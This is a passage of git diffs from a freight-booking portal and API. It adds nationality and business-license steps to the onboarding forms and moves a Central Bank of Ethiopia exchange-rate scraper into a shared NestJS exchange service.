Partial, + ) => Promise<{ ok: true } | { ok: false; error: string }>; }) { const [step, setStep] = useState(initialStep ?? "company"); const [saving, setSaving] = useState(false); + const [saveError, setSaveError] = useState(null); // Report each step change up so the wizard can persist it for resume. useEffect(() => { onStepChange?.(step); // eslint-disable-next-line react-hooks/exhaustive-deps }, [step]); + + // On reopen, jump to the furthest step reached (initialStep) so progress + // never appears to reset. + const wasOpen = useRef(resyncOpen); + useEffect(() => { + if (resyncOpen && !wasOpen.current && initialStep) { + setStep(initialStep); + setSaveError(null); + } + wasOpen.current = resyncOpen; + // eslint-disable-next-line react-hooks/exhaustive-deps + }, [resyncOpen]); const [internalFiles, setInternalFiles] = useState< Record >({}); @@ -244,12 +267,18 @@ export default function CompanyProfileForm({ /** Validate + persist the current step, returning whether we may advance. */ const saveCurrentStep = async (): Promise => { + setSaveError(null); const isValid = await trigger(stepFields[step]); if (!isValid) return false; if (!onSaveStep) return true; setSaving(true); try { - return await onSaveStep(stepPayload(step, watch())); + const res = await onSaveStep(stepPayload(step, watch())); + if (!res.ok) { + setSaveError(res.error); + return false; + } + return true; } finally { setSaving(false); } @@ -273,6 +302,7 @@ export default function CompanyProfileForm({ }; const prevStep = () => { + setSaveError(null); if (step === "company") onBack(); else if (step === "personnel") setStep("company"); else if (step === "poa") setStep("personnel"); @@ -280,6 +310,10 @@ export default function CompanyProfileForm({ else setStep("documents"); }; + // Back is hidden on the first step during onboarding (can't return to role + // selection); otherwise always available. + const showBack = !(hideFirstStepBack && step === "company"); + const STEPS: { key: CompanyStep; icon: React.ReactNode }[] = [ { key: "company", icon: }, { key: "personnel", icon: }, @@ -627,18 +661,29 @@ export default function CompanyProfileForm({ )} - - + {saveError} + + )} + + + {showBack ? ( + + ) : ( + + )} + {showBack ? ( + + ) : ( + + )} {step === "documents" && ( ) : ( )} @@ -718,26 +712,3 @@ export default function CompanyProfileForm({ ); } - -function ReviewRow({ label, value }: { label: string; value?: string | null }) { - return ( - - - {label} - - - {value?.trim() ? value : "Not provided"} - - - ); -} diff --git a/apps/edr-freight-web/portal/src/pages/accounts/ForwarderForm.tsx b/apps/edr-freight-web/portal/src/pages/accounts/ForwarderForm.tsx index d44d5da13..a2867a24f 100644 --- a/apps/edr-freight-web/portal/src/pages/accounts/ForwarderForm.tsx +++ b/apps/edr-freight-web/portal/src/pages/accounts/ForwarderForm.tsx @@ -18,12 +18,16 @@ import { z } from "zod"; import type { AuthUser } from "@/types/auth"; import type { CreateCompanyPayload } from "@/services/companies.service"; -import type { UpdateProfilePayload } from "@/types/profile"; +import type { ProfileResponse, UpdateProfilePayload } from "@/types/profile"; import PhoneInput from "@/components/auth/PhoneInput"; import { SmartFileInput } from "@edr/ui-common"; import { api } from "@/services/api"; +import { splitPhone } from "@/utils/phone"; +import RoleLicenseStep, { + type RoleLicenseProfile, +} from "@/components/onboarding/RoleLicenseStep"; -type ForwarderStep = "company" | "personnel" | "poa" | "documents" | "confirm"; +type ForwarderStep = "company" | "personnel" | "poa" | "documents" | "additional"; const forwarderSchema = z.object({ companyName: z.string().min(1, "Company name is required"), @@ -57,7 +61,7 @@ const stepFields: Record = { personnel: ["contactPersonName", "contactPersonPhone", "contactPersonPhoneCountryCode", "generalManagerName", "generalManagerEmail", "generalManagerPhone", "generalManagerPhoneCountryCode"], poa: [], documents: [], - confirm: [], + additional: [], }; function buildPayload(data: FormData, _user: AuthUser): CreateCompanyPayload { @@ -123,6 +127,39 @@ function stepPayload(step: ForwarderStep, d: FormData): Partial; @@ -156,6 +197,13 @@ export default function ForwarderForm({ onSaveStep?: ( data: Partial, ) => Promise<{ ok: true } | { ok: false; error: string }>; + /** Saved profile to seed the form with (rehydration after refresh). */ + rehydrate?: ProfileResponse | null; + /** Operational profiles for the final per-role license step. */ + roleProfiles?: RoleLicenseProfile[]; + /** Newly-selected license files per profile id. */ + licenseFiles?: Record; + onLicenseChange?: (value: Record) => void; }) { const [step, setStep] = useState(initialStep ?? "company"); const [saving, setSaving] = useState(false); @@ -194,9 +242,10 @@ export default function ForwarderForm({ generalManagerName: "", generalManagerEmail: "", generalManagerPhone: "", generalManagerPhoneCountryCode: "+251", poaName: "", poaPhone: "", poaPhoneCountryCode: "+251", poaAddress: "", poaEmail: "", poaLocation: "", }, + // Rehydrate from previously-saved data (RHF re-syncs when `values` change). + values: rehydrate ? toFormValues(rehydrate) : undefined, }); - const formValues = watch(); const hasDocuments = Boolean(uploadSetting?.fields?.length); const totalSteps = 5; @@ -219,15 +268,30 @@ export default function ForwarderForm({ } }; + // Every role needs at least one license file (existing or newly selected). + const licenseComplete = (roleProfiles ?? []).every( + (p) => + (licenseFiles?.[p.id]?.length ?? 0) > 0 || p.existingFiles.length > 0, + ); + const nextStep = async () => { - if (step === "confirm") { handleSubmit((data) => onSubmit(buildPayload(data, user)))(); return; } - if (step === "documents") { setStep("confirm"); return; } + if (step === "additional") { + if (!licenseComplete) { + setSaveError( + "Please upload a business license for each of your operational profiles.", + ); + return; + } + handleSubmit((data) => onSubmit(buildPayload(data, user)))(); + return; + } + if (step === "documents") { setStep("additional"); return; } const ok = await saveCurrentStep(); if (!ok) return; setStep(step === "company" ? "personnel" : step === "personnel" ? "poa" : "documents"); }; - const skipDocuments = () => setStep("confirm"); + const skipDocuments = () => setStep("additional"); const prevStep = () => { setSaveError(null); @@ -245,18 +309,18 @@ export default function ForwarderForm({ { key: "personnel", icon: }, { key: "poa", icon: }, { key: "documents", icon: }, - { key: "confirm", icon: }, + { key: "additional", icon: }, ]; const STEP_LABELS: Record = { company: `Step 1 of ${totalSteps} — Company Information`, personnel: `Step 2 of ${totalSteps} — Personnel Details`, poa: `Step 3 of ${totalSteps} — Power of Attorney (Optional)`, - documents: `Step 4 of ${totalSteps} — Upload Documents (Optional)`, - confirm: `Step 5 of ${totalSteps} — Review & Confirm`, + documents: `Step 4 of ${totalSteps} — Upload Documents`, + additional: `Step 5 of ${totalSteps} — Business License`, }; - const stepOrder: ForwarderStep[] = ["company", "personnel", "poa", "documents", "confirm"]; + const stepOrder: ForwarderStep[] = ["company", "personnel", "poa", "documents", "additional"]; const currentIdx = stepOrder.indexOf(step); return ( @@ -474,36 +538,21 @@ export default function ForwarderForm({ )} - {step === "confirm" && ( - - Review your registration - - Confirm the company details below before saving. - - - - - - - - - - - - - - - - - - - - - + {step === "additional" && ( + {})} + /> )} {saveError && ( - } title="Couldn't save this step"> + } + title={step === "additional" ? "Business license required" : "Couldn't save this step"} + > {saveError} )} @@ -511,7 +560,7 @@ export default function ForwarderForm({ {showBack ? ( ) : ( @@ -524,12 +573,12 @@ export default function ForwarderForm({ )} @@ -538,16 +587,3 @@ export default function ForwarderForm({ ); } - -function ReviewRow({ label, value }: { label: string; value?: string | null }) { - return ( - - - {label} - - - {value?.trim() ? value : "Not provided"} - - - ); -} diff --git a/apps/edr-freight-web/portal/src/pages/settings/NationalitySelect.tsx b/apps/edr-freight-web/portal/src/pages/settings/NationalitySelect.tsx new file mode 100644 index 000000000..1d1dbb5c4 --- /dev/null +++ b/apps/edr-freight-web/portal/src/pages/settings/NationalitySelect.tsx @@ -0,0 +1,50 @@ +import { Card, Group, SimpleGrid, Text, Title } from "@mantine/core"; +import { Globe2, MapPin } from "lucide-react"; + +import type { CompanyNationality } from "@/services/companies.service"; +import RoleCard from "./RoleCard"; + +interface NationalitySelectProps { + value: CompanyNationality | null; + onChange: (next: CompanyNationality) => void; +} + +/** + * First step of onboarding: is this an Ethiopian or a Foreign company? The + * choice determines which documents are requested later (TIN / Commercial + * License / National ID for Ethiopian, Passport / Investment License for + * Foreign). + */ +export default function NationalitySelect({ + value, + onChange, +}: NationalitySelectProps) { + return ( + + + + Where is your company registered? + + + This determines the documents we'll ask you to provide. + + + + } + selected={value === "ethiopian"} + onClick={() => onChange("ethiopian")} + /> + } + selected={value === "foreign"} + onClick={() => onChange("foreign")} + /> + + + ); +} diff --git a/apps/edr-freight-web/portal/src/services/api.ts b/apps/edr-freight-web/portal/src/services/api.ts index 8f14b0062..6a2f67e51 100644 --- a/apps/edr-freight-web/portal/src/services/api.ts +++ b/apps/edr-freight-web/portal/src/services/api.ts @@ -36,6 +36,7 @@ import { } from "@/types/dropdownSettings"; import type { CompanyInfoResponse, + CompanyNationality, CompanyProfileResponse, CreateCompanyPayload, DashboardSummary, @@ -141,7 +142,11 @@ export const api = { >("companies", "createCompanyProfile", companiesService.createCompanyProfile), startOnboarding: endpoint< - { companyType: string; roles: ProfileTypeValue[] }, + { + companyType: string; + roles: ProfileTypeValue[]; + nationality?: CompanyNationality; + }, CompanyInfoResponse >("companies", "startOnboarding", companiesService.startOnboarding), diff --git a/apps/edr-freight-web/portal/src/services/companies.service.ts b/apps/edr-freight-web/portal/src/services/companies.service.ts index 2789a9e3a..7d97fdb5c 100644 --- a/apps/edr-freight-web/portal/src/services/companies.service.ts +++ b/apps/edr-freight-web/portal/src/services/companies.service.ts @@ -12,6 +12,15 @@ export type ProfileTypeValue = | "dj_freight_forwarder" | "transporter"; +export type CompanyNationality = "ethiopian" | "foreign"; + +export interface LicenseFile { + name: string; + url: string; + size: number; + mimeType?: string; +} + export interface ExternalProfileResponse { id: string; userId: string; @@ -38,6 +47,7 @@ export interface CompanyResponse { name: string; type: string; status: string; + nationality: CompanyNationality | null; tin: string; vatNumber: string | null; businessLicense: string | null; @@ -58,7 +68,10 @@ export interface CompanyProfileResponse { type: string; reference: string; status: string; + /** @deprecated Superseded by licenseFiles (file model). */ businessLicense: string | null; + /** Business-license documents uploaded for this profile. */ + licenseFiles: LicenseFile[]; attributes: Record | null; createdAt: string; updatedAt: string; @@ -76,6 +89,7 @@ export interface CompanyProfileInput { export interface CreateCompanyPayload { companyType?: string; + nationality?: CompanyNationality; companyName: string; companyEmail?: string; companyPhone?: string; @@ -181,6 +195,7 @@ export const companiesService = { startOnboarding: async (payload: { companyType: string; roles: ProfileTypeValue[]; + nationality?: CompanyNationality; }): Promise => { const response = await client.post>( URL_CONSTANTS.COMPANIES_API.ONBOARDING_START, @@ -228,4 +243,27 @@ export const companiesService = { } await client.post(URL_CONSTANTS.COMPANIES_API.DOCUMENTS(companyId), formData); }, + + /** Upload business-license document(s) for a company profile (multi-file). */ + uploadProfileLicense: async ( + profileId: string, + files: File[], + code = "business_license", + ): Promise => { + const formData = new FormData(); + for (const f of files) formData.append(code, f); + const response = await client.post>( + URL_CONSTANTS.COMPANIES_API.PROFILE_LICENSE(profileId), + formData, + ); + return unwrap(response.data); + }, + + /** List business-license document(s) already uploaded for a company profile. */ + getProfileLicense: async (profileId: string): Promise => { + const response = await client.get>( + URL_CONSTANTS.COMPANIES_API.PROFILE_LICENSE(profileId), + ); + return unwrap(response.data); + }, }; diff --git a/apps/edr-freight-web/portal/src/types/profile.ts b/apps/edr-freight-web/portal/src/types/profile.ts index ce8661828..e2a551159 100644 --- a/apps/edr-freight-web/portal/src/types/profile.ts +++ b/apps/edr-freight-web/portal/src/types/profile.ts @@ -4,6 +4,7 @@ export interface ProfileResponse { companyId: string; companyName: string; companyType: string; + nationality: string | null; companyProfiles: CompanyProfileResponse[]; companyEmail: string | null; companyPhone: string | null; @@ -26,6 +27,7 @@ export interface ProfileResponse { } export interface UpdateProfilePayload { + nationality?: "ethiopian" | "foreign"; companyName?: string; companyEmail?: string; companyPhone?: string; diff --git a/apps/edr-freight-web/portal/src/utils/phone.ts b/apps/edr-freight-web/portal/src/utils/phone.ts new file mode 100644 index 000000000..ff75e4719 --- /dev/null +++ b/apps/edr-freight-web/portal/src/utils/phone.ts @@ -0,0 +1,25 @@ +/** + * Phone numbers are stored combined as `{countryCode}{number}` + * (e.g. "+251912345678"). These helpers split a stored value back into the two + * fields the onboarding forms use, and combine them on the way out. + */ + +const DEFAULT_COUNTRY_CODE = "+251"; + +/** Split a stored phone into { countryCode, number } for form rehydration. */ +export function splitPhone( + value: string | null | undefined, + defaultCode = DEFAULT_COUNTRY_CODE, +): { countryCode: string; number: string } { + if (!value) return { countryCode: defaultCode, number: "" }; + const trimmed = value.trim(); + // Ethiopian (+251) is the common case; otherwise take the leading "+NNN". + const match = trimmed.match(/^(\+\d{1,4})(.*)$/); + if (match) return { countryCode: match[1], number: match[2] }; + return { countryCode: defaultCode, number: trimmed }; +} + +/** Combine a country code + number into the stored phone form. */ +export function combinePhone(countryCode: string, number: string): string { + return `${countryCode}${number}`; +} From 4a0085ef57ccd3a52aca303e282683fd9979bfbd Mon Sep 17 00:00:00 2001 From: Marshal Date: Sat, 20 Jun 2026 09:22:21 +0000 Subject: [PATCH 06/19] feat: refactor exchange rate handling by integrating new ExchangeService and removing CbeExchangeService --- apps/edr-freight-api/package.json | 1 - apps/edr-freight-api/src/config/app.config.ts | 6 +- .../bookings/booking-pricing.service.spec.ts | 8 +- .../bookings/booking-pricing.service.ts | 8 +- .../src/modules/bookings/bookings.module.ts | 9 ++- packages/api-common/src/index.ts | 3 + .../src/services/exchange/cbe.provider.ts | 79 ++++++++++++------- .../src/services/exchange/exchange.module.ts | 52 ++++++++++++ .../src/services/exchange/exchange.options.ts | 46 +++++++++++ .../src/services/exchange/exchange.service.ts | 72 +++++++++++++++++ .../src/services/exchange/exchange.types.ts | 31 ++++++++ .../api-common/src/services/exchange/index.ts | 10 +++ 12 files changed, 281 insertions(+), 44 deletions(-) rename apps/edr-freight-api/src/modules/cbe-exchange/cbe-exchange.service.ts => packages/api-common/src/services/exchange/cbe.provider.ts (50%) create mode 100644 packages/api-common/src/services/exchange/exchange.module.ts create mode 100644 packages/api-common/src/services/exchange/exchange.options.ts create mode 100644 packages/api-common/src/services/exchange/exchange.service.ts create mode 100644 packages/api-common/src/services/exchange/exchange.types.ts create mode 100644 packages/api-common/src/services/exchange/index.ts diff --git a/apps/edr-freight-api/package.json b/apps/edr-freight-api/package.json index 074f227d9..506ec86f0 100644 --- a/apps/edr-freight-api/package.json +++ b/apps/edr-freight-api/package.json @@ -51,7 +51,6 @@ "reflect-metadata": "^0.2.2", "rxjs": "^7.8.1", "typeorm": "^0.3.30" - }, "devDependencies": { "@edr/api-common": "workspace:*", diff --git a/apps/edr-freight-api/src/config/app.config.ts b/apps/edr-freight-api/src/config/app.config.ts index fa8644945..e493cc393 100644 --- a/apps/edr-freight-api/src/config/app.config.ts +++ b/apps/edr-freight-api/src/config/app.config.ts @@ -14,17 +14,13 @@ export default registerAs("app", () => ({ maxTrainLengthMeters: numberFromEnv("TRAIN_SCHEDULING_MAX_LENGTH_METERS", 760), maxWagonsPerTrain: numberFromEnv("TRAIN_SCHEDULING_MAX_WAGONS_PER_TRAIN", 53), }, + // Consumed by @edr/api-common ExchangeModule.forRootAsync (see bookings.module.ts). cbeExchange: { /** ethio.forex CBET page — scraped for USD buying/selling rates. */ scrapeUrl: process.env.CBE_EXCHANGE_SCRAPE_URL ?? process.env.CBE_EXCHANGE_API_URL ?? "https://ethio.forex/bank/CBET", - /** @deprecated use scrapeUrl — kept for backward-compatible config reads */ - apiUrl: - process.env.CBE_EXCHANGE_SCRAPE_URL ?? - process.env.CBE_EXCHANGE_API_URL ?? - "https://ethio.forex/bank/CBET", fallbackRate: numberFromEnv("CBE_EXCHANGE_FALLBACK_RATE", 130), cacheTtlMs: numberFromEnv("CBE_EXCHANGE_CACHE_TTL_MS", 3_600_000), }, diff --git a/apps/edr-freight-api/src/modules/bookings/booking-pricing.service.spec.ts b/apps/edr-freight-api/src/modules/bookings/booking-pricing.service.spec.ts index 4ba93626f..471fcb6f2 100644 --- a/apps/edr-freight-api/src/modules/bookings/booking-pricing.service.spec.ts +++ b/apps/edr-freight-api/src/modules/bookings/booking-pricing.service.spec.ts @@ -28,15 +28,15 @@ describe('BookingPricingService — domestic corridor', () => { let service: BookingPricingService; let bookingsRepository: { calculateWagonCount: jest.Mock }; let ratesService: { findLiveRates: jest.Mock }; - let cbeExchangeService: { getUsdToEtbRate: jest.Mock }; + let exchangeService: { getRate: jest.Mock }; beforeEach(() => { bookingsRepository = { calculateWagonCount: jest.fn().mockResolvedValue(2) }; ratesService = { findLiveRates: jest.fn().mockResolvedValue([intercityBulkUsd, intercityContainerUsd]), }; - cbeExchangeService = { - getUsdToEtbRate: jest.fn().mockResolvedValue(MOCK_CBE_RATE), + exchangeService = { + getRate: jest.fn().mockResolvedValue(MOCK_CBE_RATE), }; service = new BookingPricingService( @@ -45,7 +45,7 @@ describe('BookingPricingService — domestic corridor', () => { {} as never, ratesService as never, {} as never, - cbeExchangeService as never, + exchangeService as never, ); }); diff --git a/apps/edr-freight-api/src/modules/bookings/booking-pricing.service.ts b/apps/edr-freight-api/src/modules/bookings/booking-pricing.service.ts index 14d8a8dbe..fbafaa911 100644 --- a/apps/edr-freight-api/src/modules/bookings/booking-pricing.service.ts +++ b/apps/edr-freight-api/src/modules/bookings/booking-pricing.service.ts @@ -4,7 +4,7 @@ import { ContainerTypesService } from '../rule-engine/services/container-types.s import { RatesService } from '../rule-engine/services/rates.service'; import { ServiceTypesService } from '../rule-engine/services/service-types.service'; import { Rate } from '../rule-engine/entities/rate.entity'; -import { CbeExchangeService } from '../cbe-exchange/cbe-exchange.service'; +import { ExchangeService } from '@edr/api-common'; import { AppliedCargoModifier, BookingEvaluationInput, @@ -41,7 +41,7 @@ export class BookingPricingService { private readonly containerTypesService: ContainerTypesService, private readonly ratesService: RatesService, private readonly serviceTypesService: ServiceTypesService, - private readonly cbeExchangeService: CbeExchangeService, + private readonly exchangeService: ExchangeService, ) {} async generatePrice(bookingId: string): Promise { @@ -84,7 +84,7 @@ export class BookingPricingService { const paymentCurrency = booking.paymentCurrency; const isEtbBooking = paymentCurrency === 'ETB'; - const usdToEtb = isEtbBooking ? await this.cbeExchangeService.getUsdToEtbRate() : 1; + const usdToEtb = isEtbBooking ? await this.exchangeService.getRate('USD', 'ETB') : 1; const lineItems: PriceLineItemDto[] = []; let total = 0; @@ -285,7 +285,7 @@ export class BookingPricingService { const liveRates = await this.ratesService.findLiveRates(); const paymentCurrency = booking.paymentCurrency; const isEtbBooking = paymentCurrency === 'ETB'; - const usdToEtb = isEtbBooking ? await this.cbeExchangeService.getUsdToEtbRate() : 1; + const usdToEtb = isEtbBooking ? await this.exchangeService.getRate('USD', 'ETB') : 1; const isBulk = booking.freightType === 'BULK'; const rateType = diff --git a/apps/edr-freight-api/src/modules/bookings/bookings.module.ts b/apps/edr-freight-api/src/modules/bookings/bookings.module.ts index f55a5a0f8..c318c9b40 100644 --- a/apps/edr-freight-api/src/modules/bookings/bookings.module.ts +++ b/apps/edr-freight-api/src/modules/bookings/bookings.module.ts @@ -1,5 +1,7 @@ import { Module, forwardRef } from '@nestjs/common'; +import { ConfigService } from '@nestjs/config'; import { TypeOrmModule } from '@nestjs/typeorm'; +import { ExchangeModule, ExchangeOptions } from '@edr/api-common'; // import { CustomersModule } from '../customers/customers.module'; import { CompaniesModule } from '../companies/companies.module'; @@ -31,7 +33,6 @@ import { ContractTemplateResolver } from '../../contracts/contract-template.reso import { ContractViewModelBuilder } from '../../contracts/contract-view-model.builder'; import { PaymentModule } from '../payment/payment.module'; import { TrainSchedulingModule } from '../train-scheduling/train-scheduling.module'; -import { CbeExchangeService } from '../cbe-exchange/cbe-exchange.service'; @Module({ imports: [ @@ -52,6 +53,11 @@ import { CbeExchangeService } from '../cbe-exchange/cbe-exchange.service'; // CustomersModule, RuleEngineModule, SignaturesModule, + ExchangeModule.forRootAsync({ + inject: [ConfigService], + useFactory: (config: ConfigService): ExchangeOptions => + config.get('app.cbeExchange') ?? {}, + }), ], controllers: [BookingsController, PayController], providers: [ @@ -68,7 +74,6 @@ import { CbeExchangeService } from '../cbe-exchange/cbe-exchange.service'; ContractPricingScheduleBuilder, ContractRendererService, ContractPdfService, - CbeExchangeService, ], exports: [BookingsService, BookingsRepository], }) diff --git a/packages/api-common/src/index.ts b/packages/api-common/src/index.ts index 55ac1c99d..f0a25158d 100644 --- a/packages/api-common/src/index.ts +++ b/packages/api-common/src/index.ts @@ -17,3 +17,6 @@ export * from "./entities/base.entity"; // Repositories export * from "./repositories/base.repository"; + +// Services +export * from "./services/exchange"; diff --git a/apps/edr-freight-api/src/modules/cbe-exchange/cbe-exchange.service.ts b/packages/api-common/src/services/exchange/cbe.provider.ts similarity index 50% rename from apps/edr-freight-api/src/modules/cbe-exchange/cbe-exchange.service.ts rename to packages/api-common/src/services/exchange/cbe.provider.ts index 27e89896b..489b1a4e3 100644 --- a/apps/edr-freight-api/src/modules/cbe-exchange/cbe-exchange.service.ts +++ b/packages/api-common/src/services/exchange/cbe.provider.ts @@ -1,41 +1,62 @@ -import { Injectable, Logger } from '@nestjs/common'; -import { ConfigService } from '@nestjs/config'; +import { Logger } from "@nestjs/common"; -const DEFAULT_SCRAPE_URL = 'https://ethio.forex/bank/CBET'; +import { EXCHANGE_DEFAULTS, ExchangeOptions } from "./exchange.options"; +import { + CurrencyPair, + ExchangeRateProvider, +} from "./exchange.types"; /** Matches USD buying/selling embedded in ethio.forex CBET page HTML (after entity unescape). */ const USD_RATE_REGEX = /currency_code":\[0,"USD"\],"currency_name":\[0,"US DOLLAR"\],"buying":\[0,([\d.]+)\],"selling":\[0,([\d.]+)\]/; -@Injectable() -export class CbeExchangeService { - private readonly logger = new Logger(CbeExchangeService.name); +/** + * Central Bank of Ethiopia (CBE) rate provider. + * + * Sources a single canonical direction — **USD→ETB** (selling rate) — by + * scraping ethio.forex, caching the result, and falling back to a configured + * rate when the scrape fails. The inverse (ETB→USD) is derived by + * {@link ExchangeService}, so this provider only ever reports USD→ETB. + */ +export class CbeExchangeProvider implements ExchangeRateProvider { + readonly name = "CBE"; + + private readonly logger = new Logger(CbeExchangeProvider.name); + private readonly options: Required; private cachedRate: number | null = null; private cacheExpiresAt = 0; - constructor(private readonly configService: ConfigService) {} + constructor(options: ExchangeOptions) { + this.options = { ...EXCHANGE_DEFAULTS, ...stripUndefined(options) }; + } + + async getBaseRate(pair: CurrencyPair): Promise { + // CBE only sources USD→ETB; everything else is derived upstream. + if (pair.from !== "USD" || pair.to !== "ETB") { + return null; + } + return this.getUsdToEtbRate(); + } /** * Returns the current CBE USD→ETB **selling** rate scraped from ethio.forex. - * Cached for CBE_EXCHANGE_CACHE_TTL_MS; falls back to CBE_EXCHANGE_FALLBACK_RATE on failure. + * Cached for `cacheTtlMs`; on failure reuses the last cached rate, else + * returns `fallbackRate`. */ - async getUsdToEtbRate(): Promise { + private async getUsdToEtbRate(): Promise { const now = Date.now(); if (this.cachedRate !== null && now < this.cacheExpiresAt) { return this.cachedRate; } - const scrapeUrl = this.getScrapeUrl(); - const fallbackRate = - this.configService.get('app.cbeExchange.fallbackRate') ?? 130; - const cacheTtlMs = - this.configService.get('app.cbeExchange.cacheTtlMs') ?? 3_600_000; + const { scrapeUrl, fallbackRate, cacheTtlMs, requestTimeoutMs } = + this.options; try { const response = await fetch(scrapeUrl, { - signal: AbortSignal.timeout(8_000), - headers: { 'User-Agent': 'Mozilla/5.0' }, + signal: AbortSignal.timeout(requestTimeoutMs), + headers: { "User-Agent": "Mozilla/5.0" }, }); if (!response.ok) { @@ -46,7 +67,7 @@ export class CbeExchangeService { const rates = this.parseScrapedRates(html); if (!rates) { - throw new Error('USD rate not found in ethio.forex page HTML'); + throw new Error("USD rate not found in ethio.forex page HTML"); } const rate = rates.selling; @@ -66,7 +87,9 @@ export class CbeExchangeService { ); if (this.cachedRate !== null) { - this.logger.warn(`Using previously cached CBE rate: ${this.cachedRate}`); + this.logger.warn( + `Using previously cached CBE rate: ${this.cachedRate}`, + ); return this.cachedRate; } @@ -74,13 +97,6 @@ export class CbeExchangeService { } } - private getScrapeUrl(): string { - const configured = - this.configService.get('app.cbeExchange.scrapeUrl') ?? - this.configService.get('app.cbeExchange.apiUrl'); - return configured?.trim() || DEFAULT_SCRAPE_URL; - } - private parseScrapedRates( html: string, ): { buying: number; selling: number } | null { @@ -99,8 +115,15 @@ export class CbeExchangeService { return html .replace(/"/g, '"') .replace(/"/g, '"') - .replace(/&/g, '&') - .replace(/</g, '<') - .replace(/>/g, '>'); + .replace(/&/g, "&") + .replace(/</g, "<") + .replace(/>/g, ">"); } } + +/** Drops keys whose value is `undefined` so they don't override defaults via spread. */ +function stripUndefined(options: ExchangeOptions): ExchangeOptions { + return Object.fromEntries( + Object.entries(options).filter(([, value]) => value !== undefined), + ); +} diff --git a/packages/api-common/src/services/exchange/exchange.module.ts b/packages/api-common/src/services/exchange/exchange.module.ts new file mode 100644 index 000000000..b9c8e80e1 --- /dev/null +++ b/packages/api-common/src/services/exchange/exchange.module.ts @@ -0,0 +1,52 @@ +import { DynamicModule, Module, Provider } from "@nestjs/common"; + +import { + EXCHANGE_OPTIONS, + ExchangeAsyncOptions, + ExchangeOptions, +} from "./exchange.options"; +import { ExchangeService } from "./exchange.service"; + +/** + * Provides {@link ExchangeService} (currency conversion, currently CBE-backed). + * + * Register once in the app root, then inject `ExchangeService` anywhere: + * + * ```ts + * // static config + * ExchangeModule.forRoot({ fallbackRate: 135 }) + * + * // config resolved from ConfigService + * ExchangeModule.forRootAsync({ + * inject: [ConfigService], + * useFactory: (config: ConfigService) => config.get('app.exchange'), + * }) + * ``` + */ +@Module({}) +export class ExchangeModule { + static forRoot(options: ExchangeOptions = {}): DynamicModule { + return { + module: ExchangeModule, + providers: [ + { provide: EXCHANGE_OPTIONS, useValue: options }, + ExchangeService, + ], + exports: [ExchangeService], + }; + } + + static forRootAsync(options: ExchangeAsyncOptions): DynamicModule { + const optionsProvider: Provider = { + provide: EXCHANGE_OPTIONS, + useFactory: options.useFactory, + inject: (options.inject ?? []) as never[], + }; + + return { + module: ExchangeModule, + providers: [optionsProvider, ExchangeService], + exports: [ExchangeService], + }; + } +} diff --git a/packages/api-common/src/services/exchange/exchange.options.ts b/packages/api-common/src/services/exchange/exchange.options.ts new file mode 100644 index 000000000..e009b5f99 --- /dev/null +++ b/packages/api-common/src/services/exchange/exchange.options.ts @@ -0,0 +1,46 @@ +/** Injection token carrying the resolved {@link ExchangeOptions}. */ +export const EXCHANGE_OPTIONS = Symbol("EXCHANGE_OPTIONS"); + +/** Configuration for the {@link ExchangeService} and its CBE provider. */ +export interface ExchangeOptions { + /** + * ethio.forex CBET page scraped for USD buying/selling rates. + * @default 'https://ethio.forex/bank/CBET' + */ + scrapeUrl?: string; + + /** + * Base USD→ETB rate used when scraping fails and no previously cached rate + * exists. The ETB→USD direction is derived as its inverse. + * @default 130 + */ + fallbackRate?: number; + + /** + * How long a successfully fetched rate is cached, in milliseconds. + * @default 3_600_000 (1 hour) + */ + cacheTtlMs?: number; + + /** + * Timeout for the scrape HTTP request, in milliseconds. + * @default 8_000 + */ + requestTimeoutMs?: number; +} + +/** Defaults applied to any unset {@link ExchangeOptions} field. */ +export const EXCHANGE_DEFAULTS: Required = { + scrapeUrl: "https://ethio.forex/bank/CBET", + fallbackRate: 130, + cacheTtlMs: 3_600_000, + requestTimeoutMs: 8_000, +}; + +/** Factory contract for {@link ExchangeModule.forRootAsync}. */ +export interface ExchangeAsyncOptions { + /** Providers to inject into {@link useFactory} (e.g. `[ConfigService]`). */ + inject?: unknown[]; + /** Returns the options, possibly async. */ + useFactory: (...args: never[]) => ExchangeOptions | Promise; +} diff --git a/packages/api-common/src/services/exchange/exchange.service.ts b/packages/api-common/src/services/exchange/exchange.service.ts new file mode 100644 index 000000000..c1efdd923 --- /dev/null +++ b/packages/api-common/src/services/exchange/exchange.service.ts @@ -0,0 +1,72 @@ +import { Inject, Injectable } from "@nestjs/common"; + +import { CbeExchangeProvider } from "./cbe.provider"; +import { EXCHANGE_OPTIONS, ExchangeOptions } from "./exchange.options"; +import { CurrencyCode } from "./exchange.types"; + +/** + * Currency exchange service. Resolves the rate between any supported currency + * pair and converts amounts, backed by a rate provider (currently CBE). + * + * Resolution order for `getRate(from, to)`: + * 1. `from === to` → `1`. + * 2. Provider supplies the pair directly (e.g. CBE → USD→ETB). + * 3. Provider supplies the inverse → return `1 / inverse` (e.g. ETB→USD). + * + * Configure via {@link ExchangeModule.forRoot} / `forRootAsync`. + */ +@Injectable() +export class ExchangeService { + private readonly provider: CbeExchangeProvider; + + constructor(@Inject(EXCHANGE_OPTIONS) options: ExchangeOptions) { + this.provider = new CbeExchangeProvider(options); + } + + /** + * Returns the rate to convert 1 unit of `from` into `to` + * (i.e. `amountInTo = amountInFrom * getRate(from, to)`). + */ + async getRate(from: CurrencyCode, to: CurrencyCode): Promise { + if (from === to) { + return 1; + } + + const direct = await this.provider.getBaseRate({ from, to }); + if (direct !== null) { + return direct; + } + + const inverse = await this.provider.getBaseRate({ from: to, to: from }); + if (inverse !== null && inverse > 0) { + return 1 / inverse; + } + + throw new Error( + `No exchange rate available for ${from}→${to} from provider ${this.provider.name}`, + ); + } + + /** Converts `amount` from one currency to another using {@link getRate}. */ + async convert( + amount: number, + from: CurrencyCode, + to: CurrencyCode, + ): Promise { + const rate = await this.getRate(from, to); + return amount * rate; + } + + /** + * Convenience alias for `getRate('USD', 'ETB')`. + * @deprecated Prefer {@link getRate}; kept for existing callers. + */ + getUsdToEtbRate(): Promise { + return this.getRate("USD", "ETB"); + } + + /** Convenience alias for `getRate('ETB', 'USD')`. */ + getEtbToUsdRate(): Promise { + return this.getRate("ETB", "USD"); + } +} diff --git a/packages/api-common/src/services/exchange/exchange.types.ts b/packages/api-common/src/services/exchange/exchange.types.ts new file mode 100644 index 000000000..384ad93b3 --- /dev/null +++ b/packages/api-common/src/services/exchange/exchange.types.ts @@ -0,0 +1,31 @@ +/** + * ISO-4217 currency codes the exchange service can handle. + * Extend this union as new currencies are supported. + */ +export type CurrencyCode = "USD" | "ETB"; + +/** A directional currency pair, e.g. `{ from: 'USD', to: 'ETB' }`. 